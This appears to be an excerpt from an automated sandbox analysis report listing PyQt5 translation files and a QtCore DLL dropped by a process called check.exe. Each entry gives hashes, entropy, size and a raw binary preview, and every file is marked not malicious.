SHA-256:	4FFDA56BA3BB5414AB0482D1DDE64A6F226E3488F6B7F3F11A150E01F53FA4C8
SHA-512:	C5AED1A1AA13B8E794C83739B7FDDEAFD96785655C287993469F39607C8B9B0D2D8D222ECD1C13CF8445E623B195192F64DE373A8FB6FE43743BAF50E153CDA5
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......es_ESB../......,...+...y...@.......A.......B.......C.......D...v...E...=...F.......G.......H.......I.......P.......Q... ...R...k...S.......T.......U.......V...1...W...U...X...y...Y.......]..+....s.......t...................c...;..+....;..,....;...%...;..#....;..-....M..+....O.......O...............}..,............=...]...m..,/...t..........A...(5..3...+;..<...+;..o...+O..!b..1...Ap..D@......E@...D..H4...-..HY..[F..H.......IC...%..J....L..J.......J.......LD......L....O..PS......QR..!...R...`K..T.......U....&..X.......Zr.....[`...h..\......]x...\|.._....Y.._....A..yg......1...=....E..?a......!.......K........G...............R...$..\Q...[.......,...z...y.......y..................+............9..\....E..2............z.. ....................%..ON...D........................:......=B.....A....5...7...0.......0......0.."....0...,...0..3....5...}...5...Y..............a... D..-!.. D..Z6..+....0..<U...h..<U......<.......H5..-M..H5..Z...L.......VE.."...VE..>...V......

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_fi.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	179941
Entropy (8bit):	4.720938209922096
Encrypted:	false
SSDEEP:	3072:lvdTgO2Yl97ZWnbgTLt/Tf9IlqAeiy5uWkYGM0wNCdRjSK2YUlUs:lvdkA9vh5uWkY0MK2YXs
MD5:	8472CF0BF6C659177AD45AA9E3A3247C
SHA1:	7B5313CDA126BB7863001499FB66FB1B56C255FC
SHA-256:	E47FE13713E184D07FA4495DDE0C589B0E8F562E91574A3558A9363443A4FA72
SHA-512:	DE36A1F033BD7A4D6475681EDC93CC7B0B5DCB6A7051831F2EE6F397C971B843E1C10B66C4FB2EFF2A23DC07433E80FBF7B95E62C5B93E121AB5AD88354D9CB8
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......fiB..38.....ct...+......@.......A.......B.......C...@...D.......E...]...F.......G.......H.......I...#...P.......Q...6...R.......S.......T.......U.......V...G...W...k...X.......Y.......]......s...T...t.......................;......;..+....;..&....;..3....M..+!...O.......O...e...........}..+K...........=.......m..+w...t..........J...(5..9...+;..:y..+;..mW..+O..$...1...KY..D@......E@...Z..H4...l..HY..X&..H.......IC......J.......J...."..J......LD.....L.......PS...'..QR.. L..R...]...T.......U.......X.......Zr......[`......\.......]x......_....k.._....>..yg.. /..1...;....E..>....7..{(......%.......J........T.......&.......U...$..Y[...[......,...s...y.......y...a.......}......d...........9..Y....E..k'...........z...........V..........%..M....D...Q.......{......d.....A......E......K....5.......0.......0..&J...0.......0..k....5......5..I9.............._:.. D..,O.. D..W...+....9..<U...G..<U...*..<.......H5..,y..H5..W...H5......L....5..VE..!u..VE..E...V..."{..f.

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_fr.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	166167
Entropy (8bit):	4.685212271435657
Encrypted:	false
SSDEEP:	1536:CLZ1w8McowCppcPwL5pYFw+G00QsbLckCiWxvq+sjs06oFm:C91wxcowspc4L5pUw+cz39CiQ7tloFm
MD5:	1F41FF5D3A781908A481C07B35998729
SHA1:	ECF3B3156FFE14569ECDF805CF3BE12F29681261
SHA-256:	EDB32A933CEF376A2636634E14E2977CED6284E4AA9A4AC7E2292F9CA54C384A
SHA-512:	A492E8AC88095A38A13549C18C68E1F61C7054AB9362C2B04C65B93E48E4A07941C8DA6950BAE79041094623E0ED330CA975110FDE8248B4D9380B9F729AD891
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......fr_FRB../....*..-....+.......@.......A.......B.......C...?...D.......E...\...F.......G.......H.......I..."...P.......Q...5...R.......S.......T.......U.......V...F...W...j...X.......Y.......]..+....s...=...t.......................;..+....;..,....;.......;..$b...;.......M..,....O.......O...5...........}..,3...........=.......m..,]...t..........A...(5..5j..+;..<T..+;..o...+O.."+..1...B\..D@......E@...Y..H4...8..HY..[{..H.......IC......J.......J.......J.......LD...\|..L.......PS...?..QR..!...R...`j..T.......U....[..X.......Zr.....[`...)..\......]x......_....7.._.......yg...i..1...=Q...E..?@......"Y......K............................$..\....[...^...,...'...y.......y...+.......o....../c.......Y...9..\....E..6(...........z..!................j...%..OC...D...+.......[......a.....;......>......B....5.......0.......0...m...0..#....0.......0..6....5.......5..................a... D..-Y.. D..Ze..+....]..<U...;..<U......<.......H5..-...H5..Z...L.......VE.."...VE..?...V......

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_gd.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	189580
Entropy (8bit):	4.630160941635514
Encrypted:	false
SSDEEP:	1536:SiaI3C87jhakhR0VGkw7ys7CskUH6y4e6IFB4xyMuhvDnJGhFaCo527arBbm07LZ:S2yGjh17yGqxTXhvQoejJd8FUjVgk
MD5:	EB1FB93B0BE51C2AD78FC7BA2F8B9F42
SHA1:	24F7FF809E2F11C579CD388FEA5A4C552FF8D4D0
SHA-256:	63B439DD44139AA3AED54C2EBE03FA9BC77F22C14ED8FBA8EFF2608445BB233D
SHA-512:	E13770AEF33B6666ED7D54E03EE20CA291D4167D673BA6C61D8E64CDD5F7FFE0A9521B95AF67BE719BF263932ECF16E2B2D0B5F3404F9BCD7879114FCC6FC474
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......gd_GBB..2....*...u...+......@.......A...B...B.......C.......D.. ....E.. ....F..!&...G..!J...H..!n...I..!....P..#m...Q..#....R..#....S..$....T..$$...U..$H...V..$....W..$....X..$....Y..%....]../....s...'...t...................F...;.......;../....;..=V...;..G....M../G...O.......O...k......$....}../o.......i...=.......m../....t..........[...(5..M...+;..@...+;..x...+O..:...1...\7..D@...f..E@..#...H4...p..HY..be..H.......IC......J.......J....R..J.......LD......L.......PS......QR..#l..R...g...T.......U.......X....\..Zr......[`......\...&...]x......_....C.._...'t..yg..?...1...BM...E..D.......;.......R'.......t.......@.......?...$..c....[......,...i...y.......y...Y.......f.......+...........9..c....E...............z.."....................%..U....D..................G.....UB.....W......\]...5.......0.......0..<....0...;...0.......5.......5..ij..............h... D..0... D..aC..+....K..<U.....<U...~..<.......H5..0...H5..a...L....1..VE..$...VE..X...V...8\|..f...Z...f...=..

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_he.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	138690
Entropy (8bit):	5.515748942553918
Encrypted:	false
SSDEEP:	3072:XSue8Z7T3iJsqBejt/zNHSLzdetY2ZISfC/S:XSueK3w7Ijt8zUtYAISfC/S
MD5:	DEAF87D45EE87794AB2DC821F250A87A
SHA1:	DB39C6BAA443AA9BB208043EF7FB7E3403C12D90
SHA-256:	E1EBCA16AFE8994356F81CA007FBDB9DDF865842010FE908923D873B687CAD3F
SHA-512:	276FCE81249EFFE19E95607C39F9ACB3A4AFA3F90745DA21B737A03FEA956B079BCA958039978223FD03F75AC270EC16E46095D0C6DDA327366C948EC2D05B9C
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......he_ILB../....*......+..Sw...@......A......B.......C.......D...X...E.......F.../...G...O...H...o...I......P.......Q.......R...I...S...i...T......U......V.......W.......X.../...Y...O...]..$....s......t..X:.......4......`Y...;..$....;..%....;.......;...5...;.......M..$....O...6...O..s............}..%-...........=...m...m..%k...t..........^..(5......+;..2...+;..^...+O...N..1.......D@......E@...(..H4..T...HY..L...H..._...IC..\...J...\...J.......J...\j..LD..^...L...^o..PS..fl..QR......R...Q...T...su..U...s...X...x3..Zr..~...[`..L\..\.......]x....._......._....o..yg...(..1...3....E..5C.......z......?V......U.......U.......W....$..M....[..W....,..X....y.......y..\........a..............\@...9..NO...E...?......]s...z...G.......(......^....%..B^...D.._......._.................... ..........5..`/...0.......0...L...0......0..d(...0......5..ek...5..........fB......R... D..&O.. D..K...+...l...<U......<U..p)..<...p...H5..&w..H5..La..L...s...VE......VE......V.....

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_hu.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	160494
Entropy (8bit):	4.831791320613137
Encrypted:	false
SSDEEP:	3072:BmOMZadV9n51xXeQvjOiIzz7/Vs9Db3ihuJNvMfWxBNlYzYbTrIkfwb03l24cNKu:HkWa5pg0MahBHDd
MD5:	E9D302A698B9272BDA41D6DE1D8313FB
SHA1:	BBF35C04177CF290B43F7D2533BE44A15D929D02
SHA-256:	C61B67BB9D1E84F0AB0792B6518FE055414A68E44D0C7BC7C862773800FA8299
SHA-512:	12947B306874CF93ABA64BB46FAC48179C2D055E770D41AF32E50FFFB9F0C092F583AFCEA8B53FE9E238EF9370E9FFFBEB581270DFA1A7CB74EBE54D9BFF459F
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......hu_HUB../...........+.......@.......A...0...B...{...C.......D.......E.......F.......G...<...H...`...I.......P...s...Q.......R.......S.......T......U...N...V.......W.......X.......Y.......]..+y...s.......t.......................;..+Q...;..,U...;.......;.......;..&....M..+....O.......O...U..........}..+............=.......m..+....t..........9c..(5..,...+;..;...+;..m7..+O......1...9...D@...T..E@......H4...v..HY..Y...H.......IC......J.......J.......J.......LD......L.......PS...}..QR..!...R...]...T.......U....{..X.......Zr...=..[`......\......]x...-.._......._......yg...M..1...<....E..>...............J........T.......(.......S...$..Z....[.......,...u...y.......y...[...............#...........9..Z....E..#&...........z..!'...................%..Mv...D..._....................32.....5......9....5.......0...h...0...E...0.......0.......0..#....5...Z...5...........G......_2.. D..,... D..W...+....W..<U......<U...B..<.......H5..,...H5..X{..L....)..VE.."...VE..6l..V.....

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_it.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	161172
Entropy (8bit):	4.680034416311688
Encrypted:	false
SSDEEP:	1536:eSfxfdO4BKJb0td5pqCOIUP/PFIM7gxGQ9sRrFM6QJ4m8ihkM:eSfxFO4BKJb0td5pnOrvCqg9mRK4IkM
MD5:	88D040696DE3D068F91E0BF000A9EC3E
SHA1:	F978B265E50D14FDDE9693EC96E99B636997B74D
SHA-256:	7C7DC8B45BF4E41FEC60021AB13D9C7655BE007B8123DB8D7537A119EB64A366
SHA-512:	F042637B61C49C91043D73B113545C383BD8D9766FD4ACC21675B4FF727652D50863E72EA811553CB26DF689F692530184A6CE8FE71F9250B5A55662AFE7D923
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......it_ITB../....*.......+.......@.......A..."...B...m...C.......D.......E.......F.......G...0...H...T...I...x...P...q...Q.......R.......S.......T...(...U...L...V.......W.......X.......Y.......]..+....s...'...t...................^...;..+[...;..,g...;.......;.......;..!B...M..+....O...D...O...........(...}..+........I...=.......m..,....t..........4...(5..'...+;..<...+;..oV..+O......1...5...D@...F..E@......H4...J..HY..Z...H.......IC...L..J....s..J....j..J.......LD......L....f..PS......QR..!...R..._...T.......U....3..X.......Zr......[`...Q..\.......]x......_......._....0..yg...C..1...=....E..?o..............Kf.......h.......8.......I...$..[....[.......,...m...y...9...y...........z.......z...........9..\=...E..$u.......:...z.. k...................%..N....D..................M............0......5/...5...2...0.......0...0...0...A...0...)...0..$....5.......5...J.......a......a... D..,... D..Y...+.......<U......<U......<....v..H5..-...H5..Z...L.......VE.."c..VE..1...V....X.

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_ja.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	129911
Entropy (8bit):	5.802855391832282
Encrypted:	false
SSDEEP:	1536:W8YYSCjKBJ26c1Z7f25pVmuLXpxfqt7FEUWNrfQje9kWI23pKXvx:xYuKBJ01Z7u5pQuLbESUWNzAAI23pKfx
MD5:	608B80932119D86503CDDCB1CA7F98BA
SHA1:	7F440399ABA23120F40F6F4FCAE966D621A1CC67
SHA-256:	CBA382ACC44D3680D400F2C625DE93D0C4BD72A90102769EDFD1FE91CB9B617B
SHA-512:	424618011A7C06748AADFC2295109D2D916289C81B01C669DA4991499B207B781604A03259C546739A3A6CF2F8F6DFA753B23406B2E2812F5407AEE343B5CBDD
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......jaB../....*...'...+..=....@.......A.......B...?...C...c...D......E......F.......G.......H..."...I...F...P.......Q...'...R...r...S......T......U.......V...8...W...\...X......Y......].."k...s...Q...t..A...............I....;.."C...;..#A...;.......;.......;.......M.."....O...B...O..[?......h....}.."........m...=.......m.."....t...........M..(5......+;......+;..WU..+O......1.......D@......E@...K..H4..>=..HY..F...H...Hr..IC..E...J...F...J.......J...E...LD..Gz..L...G...PS..O...QR......R...K!..T...Z...U...[e..X..._f..Zr..e...[`..7...\...i...]x...'.._......._...j...yg..~+..1.../....E..1?.......#......:.......?.......?n......A....$..G....[..Ap...,..B....y.......y..Ew......\|...............E....9..H....E..........F....z...]..............HL...%..=R...D..H.......I!......[......J......M..........5..It...0...3...0.......0...C...0..M....0...a...5..N....5..........N.......L6.. D..#... D..E...+...U%..<U......<U..X ..<...X...H5..#...H5..FK..L...[...VE......VE......V......f.

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_ko.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	156799
Entropy (8bit):	5.859529082176036
Encrypted:	false
SSDEEP:	1536:rvTy18hhPekHs1iNXVExWbStnn8TExgkYOvYejZOvXx4Mmf0MwUL8smk/pDZyy:y18hJ61nMStnn8TOgknQRLWZmkxNyy
MD5:	082E361CBAC2E3A0849F87B76EF6E121
SHA1:	F10E882762DCD2E60041BDD6CC57598FC3DF4343
SHA-256:	0179ED1B136E1CB3F583351EAA2C545BA3D83A6EE3F82C32505926A1A5F5F183
SHA-512:	F378A42116924E30FA0B8FFF1D3C3CB185DC35B2746DCE2818BE7C2AA95C5DE103DF44AAC74DA969C36C557F1D4DE42AC7647EC41066247F8AD2697BDED667EA
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......koB..7...........+.......@...K...A...o...B......C.......D...8...E.......F...U...G...y...H......I.......P......Q.......R.......S...C...T...g...U.......V.......W.......X...-...Y...Q...]..$....s...>...t...................y...;..${...;..%....;...u...;...l...M..$....O.......O...8...........}..$............=...C...m..%!...t...n..........(5...a..+;..E@..+;..l\|..+O......1.......D@.....E@......H4......HY..\...H....]..IC......J.......J....8..J.......LD...a..L.......PS......QR......R...`...T.......U....^..U.......X....y..Zr......[`..y...\....A..]x......_......._....o..yg......1...FJ...E..HE...7..................Q........a.......5...........$..]....[...;...,.......y.......y...V...............!.......\|...9..]....E...R...........z...4.......f.......5...%..Te...D..................D......^................5...S...0.......0.......0.......0.......5.......5...........n......a... D..%... D..[...+.......<?......<U...;..<U...+..<.......H5..&...H5..\...L.......VE......V....A..f.

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_lv.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153608
Entropy (8bit):	4.843805801051326
Encrypted:	false
SSDEEP:	3072:y5pmbKIhooMbGe91MrjOhmGzP6LJbWz5XIxELpU6:yObeqrjPGzeJyJLy6
MD5:	BD8BDC7BBDB7A80C56DCB61B1108961D
SHA1:	9538C4D8BB9A95C0D9DC57C7708A99DD53A32D1F
SHA-256:	846E047573AE40C83671C3BA7F73E27EFC24B98C82701DA0DF9973E574178BB2
SHA-512:	F040EC410EBFEA21145F944E71ADCAE8E5F60907D1D3716A937A9A59A48F70C6B7EAAC91C2C554F59357A7BC820CDBD17C73A4DECC20B51F68EB79EDD35C5554
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......lv_LVB..........B...+..y....@.......A...=...B......C......D.......E.......F...#...G...G...H...k...I.......P...~...Q......R.......S.......T...5...U...Y...V......W.......X.......Y.......]..%....s.......t...8.......n.......A...;..&....;.......;...!...;...A...;../....M..%....O.......O...............}..%...........=.......m..&....t...(......(g..(5...+..+;..4...+;..d...+O......1...(...D@...a..E@......H4..z...HY..Q...H.......IC......J....6..J.......J.......LD......L....9..PS......QR......R...U...T....S..U.......X...._..Zr......[`..r...\.......]x....._......._....{..yg......1...5v...E..7........(......B.......\|.......\|W......~r...$..R....[..~....,.......y...l...y...............................9..S....E...g...........z...z...................%..F....D........................"Z.....$......)....5.......0...\...0.......0...r...0.......0.......5...a...5..........J......V... D..&... D..P...+.......<U......<U......<.......H5..'"..H5..P...L....~..VE...R..VE..%...V......

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_pl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	162982
Entropy (8bit):	4.841899887077422
Encrypted:	false
SSDEEP:	1536:sXpestp/YIFtDT8FIWYbIJmPYuIpnmxAk6mwyJNqSm9+P:sxpTDT8FIWfJmdCmxApmbnqSm9+P
MD5:	F9475A909A0BAF4B6B7A1937D58293C3
SHA1:	76B97225A11DD1F77CAC6EF144812F91BD8734BD
SHA-256:	CE99032A3B0BF8ABAD758895CC22837088EAD99FD2D2514E2D180693081CFE57
SHA-512:	8A4F1B802B6B81FF25C44251FB4A880E93E9A5FE25E36825A24BFE0EFB34E764E7E1EE585D3A56554964B7921E7813C67F12D200D6E0C5EAF4BB76B064B5C890
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......pl_PLB..0......"....+.......@...F...A...j...B......C.......D...3...E.......F...P...G...t...H.......I.......P.......Q.......R.......S...>...T...b...U.......V.......W.......X...(...Y...L...]......s.......t...r.......o.......+...;......;..+....;..."...;... ...M......O...6...O...........a...}..+...........=.......m..+G...t...G......,...(5......+;..:...+;..k...+O......1...-[..D@.....E@......H4...U..HY..WU..H.......IC......J....6..J.......J.......LD......L....%..PS......QR.. ...R...[...T....1..U.......X......Zr......[`......\.......]x...A.._......._....}..yg......1...;W...E..=........%......H....................$..Xp...[.......,.......y...i...y...........}......$R...........9..X....E..+)...........z.. E...................%..K....D...p....................&......(......-....5.......0.......0...e...0.......0..+....5...]...5...........f......]-.. D..,%.. D..V?..+....V..<U......<U......<....-..H5..,M..H5..V...L....Z..VE..!...VE..)...V.......f...P...f....K..f......

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_ru.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	203767
Entropy (8bit):	5.362551648909705
Encrypted:	false
SSDEEP:	1536:hn4dEJ63pdhPpy6gu5fs4MHQv6sLlxnrncF423ZL9xyuXwdcX8LZuf76CW+WeXFx:aN3pdV5fZbpItXsttRY+WSq
MD5:	5096AD2743BF89A334FBA6A2964300D4
SHA1:	405F45361A537C7923C240D51B0FF1C46621C203
SHA-256:	3DA6605668F9178D11A838C4515478084DCFB4F9CF22F99D7A92B492DB9C224B
SHA-512:	7B88B501792B5831426BAA669138192ED94CC3F8323A3DF9D5287655DC4D877706908C517AB7523AE8A283BF50B47123F13B8AE40EA2F3081C3459EDC47FC8DD
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......ru_RUB..7.......L...+...W...@..,....A..,....B..-1...C..-U...D..-....E...r...F.......G.......H../....I../8...P..1'...Q..1K...R..1....S..1....T..1....U..2....V..2\...W..2....X..2....Y..2....].......s..$c...t...'......%........r...;..-....;.......;..J....;..V....M...C...O.......O..&.......8....}...m......+3...=..+....m.......t..+.......p...(5..]@..+;..[0..+;......+O..H...1...qM..D@..-...E@..1o..H4...p..HY..xm..H......IC...@..J....g..J.......J.......LD......L....p..PS......QR..!...R...}...T...&...U...'...U...ki..X...+...Zr..3...[`......\...:...]x..)..._......._...;...yg..S...1...\....E..__...7.........H.......k................j.......U...$..y....[.......,.......y...k...y...............................9..y....E...O...........z..!*...................%..nW...D.................%w.....g......j~.....qw...5...H...0.......0..I....0..._...0......5.......5..................~... D../k.. D..wa..+....?..<?.."t..<U......<U.."...<...#z..H5../...H5..w...L...&...VE.."...V...F$.

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_sk.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	125763
Entropy (8bit):	4.80343609423322
Encrypted:	false
SSDEEP:	3072:roXDuC1u/2lUBGjJirE5tsd/aev1GIfOdvhw:OucMGjH5tbm
MD5:	3D60E50DCBCBD70EE699BC9B1524FCB9
SHA1:	0211B4911B5B74CC1A46C0FCA87D3BF5632AA44A
SHA-256:	D586AE2C314074CF398417FDECB40709D5478DFEB0A67C2FE60D509EE9B59ED7
SHA-512:	F98211867F1DBCB8A342C00E23FA5718BE6E999F7449CB8470B41BF0F527C7F78CC4D6666E28968F32E96026907156753979BFADA7E6BF4225D02A902D24906D
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......sk_SKB..$x...*.......+..>....@......A......B.......C.......D...3...E...Z...F......G......H.......I.......P.......Q...D...R.......S......T.......U.......V...1...W...X...X.......Y......]...Y...t..D-......K....;...3...;.......;.......;......;...V...M.......O.._ ......l....}.......m...........T..(5...(..+;......+;..%...+O......1......E@...k..F.......H4..?I..HY..@7..H...J...I....,..IC..HT..J...H{..J...H...LD..J"..L...Jv..PS..Q...R...D...Zr..i]..[`..7...\...nB.._...o...1...&....E..(........B......19......A.......A....$..AF...[..C....,..D....y..G.......v........g......G....9..A....E..........IH...%..4.......Kf..............................5..K....0...,...0.......0.......0..Of...0.......5..P....5..........E... D...C.. D..?'..+...Y`..<U......<U..\...<...]...H5...m..H5..?...L...^...VE......f.......f...8...g.......l...aP.......................6......d....D..f(...`..f...............?....`..h5...y..H....5..j........E...e.......e..@....... ......>......oZ......l..

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_tr.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	194487
Entropy (8bit):	4.877239354585035
Encrypted:	false
SSDEEP:	3072:yRRhAFCvqDBitD/iDG9AOH+l4TcwZBPqHo9fd9CFRK+2IKAimxsjucV2p0ZqvRu7:yRRHs5mksWVX3lA3
MD5:	6CBC5D8E1EABEC96C281065ECC51E35E
SHA1:	4E1E6BA3772428227CB033747006B4887E5D9AD1
SHA-256:	6A0BF6E70E7920C2B193E76E92F78F315936955D3B06AC039D917F2E06C43281
SHA-512:	CE1F9EE180176153D5F523D71E0DB06F4DEA65C24E5E2CD56341CFAEE349A8E9A0F606D99F7219A35DD4516D1528C90AEA4BB87548A55392B8F2B36164D478B1
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......tr_TRB..7....*.......+...-...@.......A.......B.......C...%...D.......E...F...F.......G.......H.......I.......P.. ....Q.. ....R..!D...S..!h...T..!....U..!....V.."....W.."0...X.."T...Y.."x...]..,g...s.../...t......................;..,9...;..-I...;..9@...;..E....M..,....O.......O...G...........}..,............=...\...m..,....t.........._3..(5..LJ..+;..Wt..+;...\..+O..7...1..._...D@......E@..!...H4...@..HY..t...H....2..IC...r..J......J....D..J....K..LD...$..L....x..PS......QR..!...R...x...T.......U....q..U...Y...X...."..Zr...%..[`......\....:..]x......_......._.......yg..6...1...X....E..[....7...Z......7Q......f............................$..u....[...:...,...5...y.......y...........7...............!...9..u....E...........P...z.. ........p...........%..j....D..................A.....U......Y......_....5...V...0.......0..8....0...U...0.......5.......5..~b..............z+.. D..-... D..s...+.......<?...8..<U...s..<U...p..<.......H5..-...H5..s...L.......VE.."0..V...4..

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_uk.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	158274
Entropy (8bit):	5.402056706327934
Encrypted:	false
SSDEEP:	1536:jXwjFVUDdMUD4TzdAhpQgO5poZHvJllEnhmdK4I77/dnPJX/imfb1jhvv3BxT8ue:jBzD4Tzaw5pCvJ8hVPdlvj3p8
MD5:	D6234E4E21021102B021744D5FA22346
SHA1:	63A14327D0CF0941D6D6B58BFA7E8B10337F557B
SHA-256:	51B8FF55B37DC5907D637A8DDDA12FBE816852B0244C74EB4F0FB84867A786E0
SHA-512:	37D24A092C5F29BACB7A4CA8207C4EEFD0F073B7E74A492402867F758084091BF1D79D2BA2B4A28B35FEF42E8023C371FDE97578F74BB2033551154E77102DE6
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......uk_UAB../.......E...+...l...@.......A.......B...G...C...k...D.......E.......F.......G.......H......I...N...P...=...Q...a...R.......S.......T.......U.......V...r...W.......X.......Y.......]..y...s.......t...........;.......n...;..Q...;..+U...;.......;...x...;..!(...M......O.......O...........6...}..........E...=.......m..*....t..........3...(5..&...+;..:...+;..k0..+O...A..1...4-..D@... ..E@......H4...8..HY..W...H....2..IC...V..J....}..J.......J....%..LD...&..L....z..PS......QR.. ...R...\...T....(..U.......X.......Zr......[`..~...\.......]x......_......._....4..yg...c..1...;....E..=w.......m......I............................$..X....[...<...,.......y.......y...........M...................9..Y....E...F.......D...z.. ........P...........%..LB...D.......................-n...../......4W...5...F...0...p...0...W...0.......0...k...0.......5.......5..................^... D..+... D..V...+.......<U.../..<U......<....>..H5..+...H5..V...L....S..VE..!...VE..0...V......

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_zh_TW.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	127849
Entropy (8bit):	5.83455389078597
Encrypted:	false
SSDEEP:	3072:Fv2cHP10gOs6dcFxsJopMqOWv2WIrPFP8pa:Fh6s6iFxEodjef8pa
MD5:	9C6A3721D01ECAF3F952CE96F46CE046
SHA1:	4A944E9E31DF778F7012D8E4A66497583BFD2118
SHA-256:	085D29EAF9BBB788B2F2503D74A1EF963A9411CEB600441254CE49A120E1AB63
SHA-512:	6E2807B8785F42A26C9CCBDBA0327DD40B529B10C468593F0E74113774D1CCDAA4FD9ACE9B259B9040E1475911428ECAEA49425B0F170862CF8147D23DB48E46
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......zh_TWB..2x..........+..)....@.......A.......B...j...C......D.......E......F.......G...)...H...M...I...q...P...%...Q...I...R......S......T.......U.......V...Z...W...~...X......Y.......]..!....s.......t..-...............4....;..!z...;.."\|...;.......;.......M..!....O.......O..Ay......N)...}..!............=.......m.." ...t...(.........(5......+;..;...+;.._...+O......1.......D@...C..E@...m..H4..W..HY..Pm..H...3...IC..1...J...1...J.......J...1...LD..2...L...38..PS..6...QR...T..R...T...T...A...U...A...X...E...Zr..K...[`..$...\...OW..]x......_......._...P...yg..a^..1...<....E..>....7...>.......;......Fo......+.......+.......-L...$..QR...[..-....,...F...y.......y..1J...............6......1p...9..Q....E..........2....z...........<......3....%..H....D..4W......4}....................Z...... ...5..4....0...?...0...K...0..5....0...L...5..6....5..........6.......U... D.."... D..O...+...<%..<U......<U..>...<...?:..H5..#...H5..O...L...AS..VE...M..VE......V.......f...L..

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\QtCore.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2483712
Entropy (8bit):	6.241719144701645
Encrypted:	false
SSDEEP:	49152:ZYS8YHrNj4/7RsRLvYpiW3pCBU+Z7bJWvCSBYgbxGJ5M2GM/fXR1fUdihfSbCo6e:9bpj4/7RsRLvYpiW3pCBU+Z7bJWvCSBv
MD5:	678FA1496FFDEA3A530FA146DEDCDBCC
SHA1:	C80D8F1DE8AE06ECF5750C83D879D2DCC2D6A4F8
SHA-256:	D6E45FD8C3B3F93F52C4D1B6F9E3EE220454A73F80F65F3D70504BD55415EA37
SHA-512:	8D9E3FA49FB42F844D8DF241786EA9C0F55E546D373FF07E8C89AAC4F3027C62EC1BD0C9C639AFEABC034CC39E424B21DA55A1609C9F95397A66D5F0D834E88E
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........}.........../....td./..../...td./...td./...td./...n../...1../......P...c./....c./....c./...Rich...........................PE..d....p.f.........." ...(............+.......................................0&...........`.............................................L.....................#.$.............%.... t.......................t..(....r..@............@..(o...........................text...~(......................... ..`.rdata..x....@......................@..@.data...h...........................@....pdata..$.....#......n#.............@..@.reloc.......%......L%.............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\QtGui.pyd

Download File

